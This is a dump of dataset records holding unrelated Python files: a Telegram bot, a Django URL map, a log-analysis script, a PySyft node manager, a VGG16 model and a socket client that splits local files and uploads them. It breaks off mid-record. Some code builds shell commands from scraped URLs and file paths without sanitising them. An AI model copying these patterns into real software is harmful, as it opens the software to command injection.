print(m3u8url)\n print('当前url为： ' + str(m3u8urllist2[0]))\n videoName = '雄1.mp4'\n os.system('ffmpeg -i ' + m3u8urllist2[0] + ' ' + videoName)\n\nif __name__ == '__main__':\n main(sys.argv)", "sub_path": "spride/testsele.py", "file_name": "testsele.py", "file_ext": "py", "file_size_in_byte": 2921, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "selenium.webdriver.chrome.options.Options", "line_number": 14, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.desired_capabilities.DesiredCapabilities.CHROME", "line_number": 24, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.desired_capabilities.DesiredCapabilities", "line_number": 24, "usage_type": "name"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 26, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 26, "usage_type": "name"}, {"api_name": "re.findall", "line_number": 60, "usage_type": "call"}, {"api_name": "os.system", "line_number": 71, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 74, "usage_type": "attribute"}]} +{"seq_id": "239249337", "text": "#!/usr/bin/python3\nimport logging\nimport asyncio\nfrom aiogram import Bot, Dispatcher, executor, types\nimport config\nimport ivent\nimport uptime\nfrom sqlighter import SQLighter\nimport keyboards as kb\nfrom datetime import datetime\nimport question\n# задаем уровень логов\nlogging.basicConfig(level=logging.INFO)\n\n# инициализируем бота\nbot = Bot(token=config.API_TOKEN)\ndp = Dispatcher(bot)\n\n@dp.callback_query_handler(text=\"subscribe\")\nasync def subscribe(message: types.Message):\n\tif(not db.subscriber_exists(message.from_user.id)):\n\t\t# если юзера нет в базе, добавляем его\n\t\tdb.add_subscriber(message.from_user.id)\n\telse:\n\t\t# если он уже есть, то просто обновляем ему статус подписки\n\t\tdb.update_subscription(message.from_user.id, True)\n\t\n\tawait message.answer(\"Вы успешно подписались на рассылку!\\n\")\n@dp.callback_query_handler(text=\"unsubscribe\")\nasync def unsubscribe(message: types.Message):\n\tif(not db.subscriber_exists(message.from_user.id)):\n\t\t# если юзера нет в базе, добавляем его с неактивной подпиской (запоминаем)\n\t\tdb.add_subscriber(message.from_user.id, False)\n\t\tawait message.answer(\"Вы итак не подписаны.\")\n\telse:\n\t\t# если он уже есть, то просто обновляем ему статус подписки\n\t\tdb.update_subscription(message.from_user.id, False)\n\t\tawait message.answer(\"Вы успешно отписаны от рассылки.\")\n\n# инициализируем соединение с БД\ndb = SQLighter('db.db')\n\n# Команда активации подписки\n@dp.message_handler(commands=['subscribe'])\nasync def subscribe(message: types.Message):\n\tif(not db.subscriber_exists(message.from_user.id)):\n\t\t# если юзера нет в базе, добавляем его\n\t\tdb.add_subscriber(message.from_user.id)\n\telse:\n\t\t# если он уже есть, то просто обновляем ему статус подписки\n\t\tdb.update_subscription(message.from_user.id, True)\n\t\n\tawait message.answer(\"Вы успешно подписались на рассылку!\\n\")\n\n# Команда отписки\n@dp.message_handler(commands=['unsubscribe'])\nasync def unsubscribe(message: types.Message):\n\tif(not db.subscriber_exists(message.from_user.id)):\n\t\t# если юзера нет в базе, добавляем его с неактивной подпиской (запоминаем)\n\t\tdb.add_subscriber(message.from_user.id, False)\n\t\tawait message.answer(\"Вы итак не подписаны.\")\n\telse:\n\t\t# если он уже есть, то просто обновляем ему статус подписки\n\t\tdb.update_subscription(message.from_user.id, False)\n\t\tawait message.answer(\"Вы успешно отписаны от рассылки.\")\n\n\n@dp.message_handler(commands=['start'])\nasync def process_start_command(message: types.Message):\n await message.answer(\"Добро пожаловать!\\nЯ - Pirsia, бот созданный чтобы быть подопытным кроликом \\nЯ раскажу о сегодняшних ивентах в Dragon raja\\n bot-project.online\", reply_markup=kb.inline_kb1)\n\n\n@dp.message_handler(commands=['ivent'])\nasync def process_ivent_command(message: types.Message):\n await message.answer(ivent.iventmsg())\n\n@dp.message_handler(commands=['help'])\nasync def process_help_command(message: types.Message):\n await message.answer(\"Я могу ответить на следующие команды:/start, /ivent, /help, /subscribe, /unsubscribe\")\n\n@dp.message_handler()\nasync def echo_message(msg: types.Message):\n await bot.send_message(msg.from_user.id, question.get_question(msg.text))\n\nasync def scheduled(wait_for):\n\twhile True:\n\t\tawait asyncio.sleep(wait_for)\n\n\t\t\n\t\tnotification_msg = ivent.notification()\n\n\t\tif notification_msg != 0:\n\t\t\t# получаем список подписчиков бота\n\t\t\tsubscriptions = db.get_subscriptions()\n\n\t\t\t# отправляем всем новость\n\t\t\tfor s in subscriptions:\n\t\t\t\tawait bot.send_message(\n\t\t\t\t\ts[1],\n\t\t\t\t\tnotification_msg ,\n\t\t\t\t\tdisable_notification = True\n\t\t\t\t)\n\t\t\n\n\n# запускаем лонг поллинг\nif __name__ == '__main__':\n\tloop = asyncio.get_event_loop()\t\n\tloop.create_task(scheduled(60))\n#\tdp.loop.create_task(scheduled(10)) # пока что оставим 10 секунд (в качестве теста)\n\texecutor.start_polling(dp, skip_updates=True)\n", "sub_path": "bot.py", "file_name": "bot.py", "file_ext": "py", "file_size_in_byte": 4597, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "logging.basicConfig", "line_number": 13, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 13, "usage_type": "attribute"}, {"api_name": "aiogram.Bot", "line_number": 16, "usage_type": "call"}, {"api_name": "config.API_TOKEN", "line_number": 16, "usage_type": "attribute"}, {"api_name": "aiogram.Dispatcher", "line_number": 17, "usage_type": "call"}, {"api_name": "aiogram.types.Message", "line_number": 20, "usage_type": "attribute"}, {"api_name": "aiogram.types", "line_number": 20, "usage_type": "name"}, {"api_name": "aiogram.types.Message", "line_number": 30, "usage_type": "attribute"}, {"api_name": "aiogram.types", "line_number": 30, "usage_type": "name"}, {"api_name": "sqlighter.SQLighter", "line_number": 41, "usage_type": "call"}, {"api_name": "aiogram.types.Message", "line_number": 45, "usage_type": "attribute"}, {"api_name": "aiogram.types", "line_number": 45, "usage_type": "name"}, {"api_name": "aiogram.types.Message", "line_number": 57, "usage_type": "attribute"}, {"api_name": "aiogram.types", "line_number": 57, "usage_type": "name"}, {"api_name": "aiogram.types.Message", "line_number": 69, "usage_type": "attribute"}, {"api_name": "aiogram.types", "line_number": 69, "usage_type": "name"}, {"api_name": "keyboards.inline_kb1", "line_number": 70, "usage_type": "attribute"}, {"api_name": "aiogram.types.Message", "line_number": 74, "usage_type": "attribute"}, {"api_name": "aiogram.types", "line_number": 74, "usage_type": "name"}, {"api_name": "ivent.iventmsg", "line_number": 75, "usage_type": "call"}, {"api_name": "aiogram.types.Message", "line_number": 78, "usage_type": "attribute"}, {"api_name": "aiogram.types", "line_number": 78, "usage_type": "name"}, {"api_name": "aiogram.types.Message", "line_number": 82, "usage_type": "attribute"}, {"api_name": "aiogram.types", "line_number": 82, "usage_type": "name"}, {"api_name": "question.get_question", "line_number": 83, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 87, "usage_type": "call"}, {"api_name": "ivent.notification", "line_number": 90, "usage_type": "call"}, {"api_name": "asyncio.get_event_loop", "line_number": 108, "usage_type": "call"}, {"api_name": "aiogram.executor.start_polling", "line_number": 111, "usage_type": "call"}, {"api_name": "aiogram.executor", "line_number": 111, "usage_type": "name"}]} +{"seq_id": "651765400", "text": "\nfrom django.urls import path\n\nfrom . import views\n\napp_name = 'scdownload'\n\nurlpatterns = [\n path('', views.index, name='index'),\n path('nhentai/', views.nhentai, name='nhentai'),\n path('nhentai/result/', views.nhentaiResult, name='nhentaiRe'),\n\n path('download/', views.downloadIMG, name='downloadIMG'),\n]", "sub_path": "scdownload/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 319, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}]} +{"seq_id": "493785238", "text": "#!/usr/bin/python3\nimport csv\nfrom collections import Counter\nfrom nltk import ngrams\nimport datetime\n\n\ndef csv_reader(filename): \n \n with open(filename,'r') as file_obj:\n \tdata_list = list(csv.reader(file_obj))\n \treturn data_list\n\n\ndef search_for_users_by_the_number_of_requests(data_list):\n\t\n\tuser_list = [data_list[i][1] for i in range(1, len(data_list)) if data_list[i][1] != '']\n\tuser_list = Counter(user_list).most_common(5)\n\n\tresult_file.write('# Отчет\\n\\n# Поиск 5ти пользователей, сгенерировавших наибольшее количество запросов. \\n\\n')\n\tfor i in range(len(user_list)):\n\t\tresult_file.write('Пользователь: {} Количество запросов: {}\\n'.format(user_list[i][0], user_list[i][1]))\n\tresult_file.write('\\n\\n')\n\n\ndef search_for_users_by_the_amount_of_data(data_list):\n\n\tuser_input_dict = {}\n\t#user_input_dict key[src_user] = input_byte\n\tfor i in range(1, len(data_list)):\n\t\tif data_list[i][1] == '': continue\n\t\tif data_list[i][1] not in user_input_dict:\n\t\t\tuser_input_dict[data_list[i][1]] = int(data_list[i][7])\n\t\telse: \n\t\t\tuser_input_dict[data_list[i][1]] +=int(data_list[i][7])\n\n\tuser_input_dict = Counter(user_input_dict).most_common(5)\n\n\tresult_file.write('# Поиск 5ти пользователей, отправивших наибольшее количество данных. \\n\\n')\n\tfor i in range(len(user_input_dict)):\n\t\tresult_file.write('Пользователь: {} Количество переданных данных: {}\\n'.format(user_input_dict[i][0], user_input_dict[i][1]))\n\tresult_file.write('\\n\\n')\n\n\ndef search_for_regular_requests(data_list, task):\n\n\tif task == 3: \n\t\tf, field = 1, 'src_user'\n\tif task == 4: \n\t\tf, field = 2, 'src_ip'\n\n\tlist_request = []\n\t#list_request is a list of lists [request, time]\n\tcount_result, interval_result = dict(), dict()\n\t#count_result[request] = interval counter\n\t#interval_result [request] = [current time, current interval]\n\tfor i in range(1, len(data_list)):\n\t\tif data_list[i][1] != '':\n\t\t\trequest = data_list[i][f] + ' ' + data_list[i][3] + ' '+ data_list[i][5] + ' ' + data_list[i][6]\n\t\t\tlist_request.append([request, data_list[i][0]])\n\t\t\n\tfor i in range(len(list_request)):\n\t\tkey = list_request[i][0]\n\t\ttime = list_request[i][1]\n\n\t\tif count_result.get(key) == None:\n\t\t\tcount_result[key] = 0\n\t\t\tinterval_result[key] = [time, 0]\n\t\telse: \n\t\t\tnew_time = datetime.datetime.strptime(time, \"%Y-%m-%dT%H:%M:%S.000+0300\")\n\t\t\tlast_time = datetime.datetime.strptime(interval_result[key][0], \"%Y-%m-%dT%H:%M:%S.000+0300\")\n\n\t\t\tif last_time > new_time:\n\t\t\t\tinterval = last_time - new_time \n\t\t\telse:\n\t\t\t\tinterval = new_time - last_time \n\n\t\t\tinterval_result[key][0] = time\n\n\t\t\tif interval_result[key][1] == interval.seconds:\n\t\t\t\tcount_result[key] += 1 \n\t\t\telse: \n\t\t\t\tinterval_result[key][1] = interval.seconds\n\n\tresult_file.write('# Поиск регулярных запросов по полю {}.\\n# Реализован поиск идущих подряд с равными интервалами запросов вида: [{}, src_port, dest_ip, dest_port].\\n\\n'.format(field, field))\n\tcount_result = Counter(count_result).most_common(5)\n\tfor i in range(0, 5):\n\t\tresult_file.write('Запрос: {}\\nДлина интервала в секундах: {}\\nКоличество интервалов: {}\\n\\n'.format(count_result[i][0], interval_result[count_result[i][0]][1], count_result[i][1]))\n\tresult_file.write('\\n')\n\n\ndef search_Ngrams(data_list):\n\n\tdata_set = []\n\t#data_set is a list of lists [src_user + src_port + dest_ip + dest_port]\n\tfor i in range(1, len(data_list)):\n\t\tif data_list[i][1] != '':\n\t\t\tdata_set.append(data_list[i][1] + data_list[i][3] + data_list[i][5] + data_list[i][6])\n\t\n\tresult_file.write('# Рассматривая события сетевого трафика как символы неизвестного языка,\\n# найти 5 наиболее устойчивых N-грамм журнала событий.\\n\\n')\n\tfor n in range(3, 6):\n\t\tresult_file.write('Для N = {}\\n\\n'.format(n))\n\n\t\tmost_sustainable_ngrams = Counter(list(ngrams(data_set, n))).most_common(5)\n\n\t\tfor i in range(len(most_sustainable_ngrams)):\n\t\t\tresult_file.write('Количество вхождений N-граммы: {}\\nN-грамма:\\n{}\\n\\n'.format(most_sustainable_ngrams[i][1], most_sustainable_ngrams[i][0]))\n\n\nif __name__ == '__main__':\n\n\tdata_list = csv_reader('shkib.csv')\n\tresult_file = open('result.txt', 'a', encoding='utf-8')\n\n\tsearch_for_users_by_the_number_of_requests(data_list)\n\tsearch_for_users_by_the_amount_of_data(data_list)\n\tsearch_for_regular_requests(data_list, 3)\n\tsearch_for_regular_requests(data_list, 4)\n\tsearch_Ngrams(data_list)\n\n\tresult_file.close()\n\n", "sub_path": "log_analysis.py", "file_name": "log_analysis.py", "file_ext": "py", "file_size_in_byte": 4779, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "csv.reader", "line_number": 11, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 18, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 37, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 70, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 70, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 71, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 71, "usage_type": "attribute"}, {"api_name": "collections.Counter", "line_number": 86, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 104, "usage_type": "call"}, {"api_name": "nltk.ngrams", "line_number": 104, "usage_type": "call"}]} +{"seq_id": "174119569", "text": "# stdlib\nfrom typing import Any\nfrom typing import Dict\nfrom typing import List\n\n# third party\nfrom nacl.encoding import HexEncoder\nfrom nacl.signing import VerifyKey\n\n# relative\nfrom .....grid import GridURL\nfrom ....common.serde.serialize import _serialize\nfrom ..node_service.node_credential.node_credentials import NodeCredentials\nfrom ..node_service.node_route.route_update import RouteUpdate\nfrom ..node_table.node import NoSQLNode\nfrom ..node_table.node import NoSQLNodeRoute\nfrom .database_manager import NoSQLDatabaseManager\n\n\nclass NodeNotFoundError(Exception):\n pass\n\n\nclass NoSQLNodeManager(NoSQLDatabaseManager):\n \"\"\"Class to manage node database actions.\"\"\"\n\n _collection_name = \"node\"\n __canonical_object_name__ = \"Node\"\n\n def first(self, **kwargs: Any) -> NoSQLNode:\n result = super().find_one(kwargs)\n if not result:\n raise NodeNotFoundError\n return result\n\n def create_route(\n self,\n host_or_ip: str,\n is_vpn: bool = False,\n private: bool = False,\n protocol: str = \"http\",\n port: int = 80,\n vpn_endpoint: str = \"\",\n vpn_key: str = \"\",\n ) -> NoSQLNodeRoute:\n if host_or_ip is None:\n raise ValueError(f\"Route addition requires valid host_or_ip:{host_or_ip}\")\n return NoSQLNodeRoute(\n host_or_ip=host_or_ip,\n is_vpn=is_vpn,\n private=private,\n protocol=protocol,\n port=port,\n vpn_endpoint=vpn_endpoint,\n vpn_key=vpn_key,\n )\n\n def create_or_get_node(\n self,\n node_uid: str,\n node_name: str,\n host_or_ip: str,\n is_vpn: bool = False,\n vpn_endpoint: str = \"\",\n vpn_key: str = \"\",\n ) -> NoSQLNode:\n # node_uid is a UID as a string with no_dash\n try:\n node = self.first(node_uid=node_uid)\n attributes: Dict[str, Any] = {}\n\n _exists = False # Flag to check if route already present.\n for route in node.node_route:\n if route.host_or_ip == host_or_ip:\n _exists = True\n break\n\n if not _exists:\n new_route: NoSQLNodeRoute = self.create_route(\n host_or_ip=host_or_ip,\n is_vpn=is_vpn,\n vpn_endpoint=vpn_endpoint,\n vpn_key=vpn_key,\n )\n node.node_route.append(new_route)\n\n attributes[\"__blob__\"] = _serialize(node, to_bytes=True)\n\n self.update_one(\n query={\"node_uid\": node_uid},\n values=attributes,\n )\n except NodeNotFoundError:\n node_row = NoSQLNode(\n node_uid=node_uid,\n node_name=node_name,\n )\n new_route = self.create_route(\n host_or_ip=host_or_ip,\n is_vpn=is_vpn,\n vpn_endpoint=vpn_endpoint,\n vpn_key=vpn_key,\n )\n node_row.node_route.append(new_route)\n self.add(node_row)\n\n return self.first(node_uid=node_uid)\n\n def add_or_update_node_credentials(self, credentials: NodeCredentials) -> None:\n credentials_dict: Dict[str, Any] = {**credentials}\n try:\n node = self.first(node_uid=credentials.node_uid)\n if node.verify_key is not None:\n credentials.validate(key=node.verify_key)\n self.update(\n search_params={\"node_uid\": credentials.node_uid},\n updated_args=credentials_dict,\n )\n except NodeNotFoundError:\n node_row = NoSQLNode(\n **credentials_dict,\n )\n self.add(node_row)\n\n def validate_id_and_key(self, node_uid: str, verify_key: VerifyKey) -> NoSQLNode:\n return self.first(\n node_uid=node_uid,\n verify_key=verify_key.encode(encoder=HexEncoder).decode(\"utf-8\"),\n )\n\n def get_node_for(self, verify_key: VerifyKey) -> NoSQLNode:\n return self.first(\n verify_key=verify_key.encode(encoder=HexEncoder).decode(\"utf-8\")\n )\n\n def validate_route_update(\n self,\n node_collection: List[NoSQLNode],\n curr_node: NoSQLNode,\n route_update: RouteUpdate,\n ) -> bool:\n \"Valid if the input route is not assigned to any other node than the current node.\"\n if not route_update.source_node_url:\n raise Exception(\"source_node_url is missing\")\n source_url = GridURL.from_url(route_update.source_node_url)\n\n host_or_ip = source_url.host_or_ip\n port = source_url.port\n _valid = True # Initial flag assuming that the route does not exists\n for node in node_collection:\n if node.node_uid == curr_node.node_uid:\n continue\n for route in node.node_route:\n if host_or_ip == route.host_or_ip and port == route.port:\n _valid = False\n break\n if not _valid:\n break\n\n return _valid\n\n def update_route(\n self, curr_node: NoSQLNode, route_update: RouteUpdate, is_vpn: bool = False\n ) -> None:\n if not route_update.source_node_url:\n raise Exception(\"source_node_url is missing\")\n source_url = GridURL.from_url(route_update.source_node_url)\n\n new_route = self.create_route(\n host_or_ip=source_url.host_or_ip,\n protocol=source_url.protocol,\n port=source_url.port,\n private=route_update.private,\n is_vpn=is_vpn,\n )\n route_index = -1 # Stores the index of the route with the above host_or_ip\n try:\n node = self.first(node_uid=curr_node.node_uid)\n for idx, route in enumerate(node.node_route):\n if route.host_or_ip == source_url.host_or_ip:\n route_index = idx\n break\n if route_index == -1: # route does not exists add new route\n curr_node.node_route.append(new_route)\n else:\n curr_node.node_route[route_index] = new_route\n\n attributes = {}\n attributes[\"__blob__\"] = _serialize(curr_node, to_bytes=True)\n\n self.update_one(\n query={\n \"node_uid\": curr_node.node_uid,\n },\n values=attributes,\n )\n\n except NodeNotFoundError:\n raise NodeNotFoundError(\n f\"Update Route does not have valid node to update with uid: {curr_node.node_uid}\"\n )\n\n def get_routes(self, node_row: NoSQLNode) -> List[NoSQLNodeRoute]:\n return node_row.node_route\n", "sub_path": "packages/syft/src/syft/core/node/common/node_manager/node_manager.py", "file_name": "node_manager.py", "file_ext": "py", "file_size_in_byte": 6796, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "database_manager.NoSQLDatabaseManager", "line_number": 24, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 30, "usage_type": "name"}, {"api_name": "node_table.node.NoSQLNode", "line_number": 30, "usage_type": "name"}, {"api_name": "node_table.node.NoSQLNodeRoute", "line_number": 48, "usage_type": "call"}, {"api_name": "node_table.node.NoSQLNodeRoute", "line_number": 45, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 70, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 70, "usage_type": "name"}, {"api_name": "node_table.node.NoSQLNodeRoute", "line_number": 79, "usage_type": "name"}, {"api_name": "common.serde.serialize._serialize", "line_number": 87, "usage_type": "call"}, {"api_name": "node_table.node.NoSQLNode", "line_number": 94, "usage_type": "call"}, {"api_name": "node_table.node.NoSQLNode", "line_number": 66, "usage_type": "name"}, {"api_name": "node_service.node_credential.node_credentials.NodeCredentials", "line_number": 109, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 110, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 110, "usage_type": "name"}, {"api_name": "node_table.node.NoSQLNode", "line_number": 120, "usage_type": "call"}, {"api_name": "nacl.signing.VerifyKey", "line_number": 125, "usage_type": "name"}, {"api_name": "nacl.encoding.HexEncoder", "line_number": 128, "usage_type": "name"}, {"api_name": "node_table.node.NoSQLNode", "line_number": 125, "usage_type": "name"}, {"api_name": "nacl.signing.VerifyKey", "line_number": 131, "usage_type": "name"}, {"api_name": "nacl.encoding.HexEncoder", "line_number": 133, "usage_type": "name"}, {"api_name": "node_table.node.NoSQLNode", "line_number": 131, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 138, "usage_type": "name"}, {"api_name": "node_table.node.NoSQLNode", "line_number": 138, "usage_type": "name"}, {"api_name": "node_table.node.NoSQLNode", "line_number": 139, "usage_type": "name"}, {"api_name": "node_service.node_route.route_update.RouteUpdate", "line_number": 140, "usage_type": "name"}, {"api_name": "grid.GridURL.from_url", "line_number": 145, "usage_type": "call"}, {"api_name": "grid.GridURL", "line_number": 145, "usage_type": "name"}, {"api_name": "node_table.node.NoSQLNode", "line_number": 163, "usage_type": "name"}, {"api_name": "node_service.node_route.route_update.RouteUpdate", "line_number": 163, "usage_type": "name"}, {"api_name": "grid.GridURL.from_url", "line_number": 167, "usage_type": "call"}, {"api_name": "grid.GridURL", "line_number": 167, "usage_type": "name"}, {"api_name": "common.serde.serialize._serialize", "line_number": 189, "usage_type": "call"}, {"api_name": "node_table.node.NoSQLNode", "line_number": 203, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 203, "usage_type": "name"}, {"api_name": "node_table.node.NoSQLNodeRoute", "line_number": 203, "usage_type": "name"}]} +{"seq_id": "318746638", "text": "#!/usr/bin/env python3\n\nimport torch\nimport argparse\nimport torchvision\nimport os\nimport optuna\nimport joblib\nimport sys\nfrom torch.utils.data import Dataset, DataLoader\nfrom PIL import Image\nimport seaborn as sns\nimport numpy as np\nimport time\nimport scikitplot as skplt\nimport matplotlib.pyplot as plt\nfrom sklearn.metrics import confusion_matrix\nfrom torchsummary import summary\nimport gc\nimport time\n\ntensor = (3,256, 256)\n\n\n# VGG16trained model Architecture\n\nclass VGG16Model(torch.nn.Module):\n \"\"\"\n VGG16 pretrained model with additional projection head for transfer learning\n \n \"\"\"\n def __init__(self, layer):\n super(VGG16Model, self).__init__()\n \n self.layer = layer\n self.body = torchvision.models.vgg16(pretrained=True).features\n \n for name,child in self.body.named_children():\n if name == self.layer:\n \n break\n for params in child.parameters():\n params.requires_grad = False\n \n \n self.in_feat = self.get_dim(tensor)\n\n self.head = torch.nn.Sequential(\n torch.nn.Flatten(),\n torch.nn.Linear(in_features=self.in_feat, out_features=512, bias=True), #not such a steep jump\n torch.nn.BatchNorm1d(512),\n torch.nn.ReLU(),\n torch.nn.Dropout(0.5),\n torch.nn.Linear(in_features= 512, out_features=64, bias=True), #not such a steep jump\n torch.nn.BatchNorm1d(64),\n torch.nn.ReLU(),\n torch.nn.Dropout(0.3),\n torch.nn.Linear(64,5)\n )\n\n def get_dim(self, input_size):\n bs = 1\n ip = torch.rand(bs, *input_size)\n output = self.body(ip)\n op_view = output.view(bs,-1)\n return op_view.shape[-1]\n \n def forward(self, x):\n x = self.body(x)\n x = self.head(x)\n return x\n\n\n###################################################################################################\n\n# Early stopping implementation\n\nclass EarlyStopping:\n \"\"\"\n Early stops the training if validation loss doesn't improve after a given patience.\n \n \"\"\"\n def __init__(self, patience=10, verbose=False, delta=0, path='early_stopping.pth'):\n \"\"\"\n Args:\n patience (int): How long to wait after last time validation loss improved.\n Default: 10\n verbose (bool): If True, prints a message for each validation loss improvement. \n Default: False\n delta (float): Minimum change in the monitored quantity to qualify as an improvement.\n Default: 0\n path (str): Path for the checkpoint to be saved to.\n Default: 'early_stopping_vgg16model.pth' \n \"\"\"\n self.patience = patience\n self.verbose = verbose\n self.counter = 0\n self.best_score = None\n self.early_stop = False\n self.val_loss_min = np.Inf\n self.delta = delta\n self.path = path\n \n def __call__(self, val_loss, model):\n \n score = -val_loss\n \n if self.best_score is None:\n self.best_score = score\n self.save_checkpoint(val_loss, model)\n \n elif score < self.best_score + self.delta:\n self.counter += 1\n \n if self.counter >= self.patience:\n self.early_stop = True\n \n else:\n self.best_score = score\n self.save_checkpoint(val_loss, model)\n self.counter = 0 \n \n def save_checkpoint(self, val_loss, model):\n \"\"\"\n saves the current best version of the model if there is decrease in validation loss\n \"\"\"\n torch.save(model.state_dict(), self.path)\n self.vall_loss_min = val_loss\n ", "sub_path": "data/workflows/galaxy/bin/model_selection.py", "file_name": "model_selection.py", "file_ext": "py", "file_size_in_byte": 3965, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "torch.nn", "line_number": 27, "usage_type": "attribute"}, {"api_name": "torchvision.models.vgg16", "line_number": 36, "usage_type": "call"}, {"api_name": "torchvision.models", "line_number": 36, "usage_type": "attribute"}, {"api_name": "torch.nn.Sequential", "line_number": 48, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 48, "usage_type": "attribute"}, {"api_name": "torch.nn.Flatten", "line_number": 49, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 49, "usage_type": "attribute"}, {"api_name": "torch.nn.Linear", "line_number": 50, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 50, "usage_type": "attribute"}, {"api_name": "torch.nn.BatchNorm1d", "line_number": 51, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 51, "usage_type": "attribute"}, {"api_name": "torch.nn.ReLU", "line_number": 52, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 52, "usage_type": "attribute"}, {"api_name": "torch.nn.Dropout", "line_number": 53, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 53, "usage_type": "attribute"}, {"api_name": "torch.nn.Linear", "line_number": 54, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 54, "usage_type": "attribute"}, {"api_name": "torch.nn.BatchNorm1d", "line_number": 55, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 55, "usage_type": "attribute"}, {"api_name": "torch.nn.ReLU", "line_number": 56, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 56, "usage_type": "attribute"}, {"api_name": "torch.nn.Dropout", "line_number": 57, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 57, "usage_type": "attribute"}, {"api_name": "torch.nn.Linear", "line_number": 58, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 58, "usage_type": "attribute"}, {"api_name": "torch.rand", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.Inf", "line_number": 100, "usage_type": "attribute"}, {"api_name": "torch.save", "line_number": 127, "usage_type": "call"}]} +{"seq_id": "24396508", "text": "import socket\nimport threading\nimport sys\nimport pickle\nimport os\nimport math\nimport App\nimport subprocess\nfrom struct import pack\nfrom pathlib import Path\n\nclass Cliente():\n # go_flag can have like 4 states duuuuuuuudeeee so fucked up\n ok_flag = 0\n mega_list = App.collectFiles()\n try_attempts = 0\n \n def __init__(self, host=\"localhost\", port=4004):\n home_path=str(Path.home())\n self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.sock.connect((str(host), int(port)))\n msg2 = []\n #msg_recv.daemon = True\n\n while True:\n msg = input()\n if msg.lower() == \"salir\":\n self.sock.close()\n os._exit(0)\n elif msg.lower() == \"send\":\n for path in self.mega_list:\n file_name = path.split('/')[-1]\n print('FILENAME',file_name)\n # we gotta do the stuff here\n if ' ' not in file_name:\n # purge buffer file\n command = 'rm ~/buffer_file/*'\n subprocess.run(command, shell=True)\n # retrieve dat file\n # split the file in 4 parts. efficently. by usin split\n command = 'split -n 4 '+ path +' '+home_path+'/buffer_file/'+file_name\n subprocess.run(command, shell=True)\n # ya need a directory named ~/buffer_file for fucks sake\n command = 'ls '+home_path+'/buffer_file/'\n result = subprocess.run(command, check=True, shell=True, stdout=subprocess.PIPE).stdout.decode('utf-8')\n subfiles = result.split('\\n')[:4]\n \n for subfile in subfiles:\n # send file name\n self.send_packet(bytes(str(len(subfile)).encode('utf-8')), subfile.encode('utf-8'), 'h'.encode('utf-8'))\n \n with open(home_path+'/buffer_file/'+subfile, 'rb') as infile:\n d = infile.read(60)\n while d:\n self.try_attempts = 0\n self.send_packet(bytes(str(len(d)).encode('utf-8')),d, 'd'.encode('utf-8'))\n d = infile.read(60)\n print('transfer done ')\n print('all segments done')\n else:\n self.sock.sendall(pickle.dumps(msg))\n \n def send_packet(self, size, data_string, packet_type):\n # size and data_string are byte objects\n # 60 byte data_string MAX\n # data format is: 's' + 2 digits SIZE + '.' + 60 bytes STRING\n # 64 byte messages\n if len(size) == 1:\n size = b'0'+size\n packet = packet_type+ size + b'.' +data_string\n self.sock.send(packet)\n \n try:\n recv_data = self.sock.recv(64)\n if recv_data:\n if 'ok_flag' in pickle.loads(recv_data).lower():\n self.ok_flag = 1\n elif 'nok_flag' in pickle.loads(recv_data).lower():\n self.ok_flag = 0\n else:\n self.close()\n except:\n pass\n \n if not self.ok_flag:\n self.try_attempts += 1\n if self.try_attempts == 5:\n print('too many attempts. sry')\n os._exit(0)\n self.send_packet(size, data_string, packet_type)\n\n def close(self):\n print(\"Servidor cerrado\")\n self.sock.close()\n os._exit(0)\n \nc = Cliente(str(sys.argv[1]),int(sys.argv[2]))\n\n", "sub_path": "Redes/UDP/p4/cliente_chingon.py", "file_name": "cliente_chingon.py", "file_ext": "py", "file_size_in_byte": 3810, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "App.collectFiles", "line_number": 15, "usage_type": "call"}, {"api_name": 